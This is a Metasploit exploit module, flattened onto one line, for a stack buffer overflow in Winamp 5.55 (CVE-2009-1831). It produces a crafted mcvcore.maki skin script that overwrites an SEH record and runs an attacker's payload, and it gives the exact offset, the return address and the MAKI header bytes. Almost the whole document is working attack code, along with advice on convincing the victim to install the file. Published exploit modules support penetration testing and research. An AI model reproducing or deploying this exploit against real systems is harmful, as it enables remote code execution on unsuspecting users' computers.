Winamp – MAKI Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Winamp MAKI Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in Winamp 5.55. The flaw exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file, where memmove is used with in a insecure way with user controlled data. To exploit the vulnerability the attacker must convince the attacker to install the generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin, or generate a new skin using the crafted mcvcore.maki file. The module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Monica Sojeong Hong', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2009-1831'], [ 'OSVDB', '54902'], [ 'BID', '35052'], [ 'EDB', '8783'], [ 'EDB', '8772'], [ 'EDB', '8770'], [ 'EDB', '8767'], [ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4000, 'DisableNops' => true, 'BadChars' => "" }, 'Platform' => 'win', 'Targets' => [ # winamp.exe 5.5.5.2405 [ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x12f02bc3, # ppr from in_mod.dll 'Offset' => 16756 } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 20 2009', 'DefaultTarget' => 0)) deregister_options('FILENAME') end def file_format_filename 'mcvcore.maki' end def exploit sploit = rand_text(target['Offset']) sploit << generate_seh_record(target.ret) sploit << payload.encoded length_sploit = [sploit.length].pack("v") header = "\x46\x47" # magic header << "\x03\x04" # version header << "\x17\x00\x00\x00" types = "\x01\x00\x00\x00" # count # class 1 => Object types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7" # functions functions = "\x37\x00\x00\x00" # count #function 1 functions << "\x01\x01" # class functions << "\x00\x00" # dummy functions << length_sploit # function name length functions << sploit # crafted function name maki = header maki << types maki << functions print_status("Creating '#{file_format_filename}' file ...") file_create(maki) end end |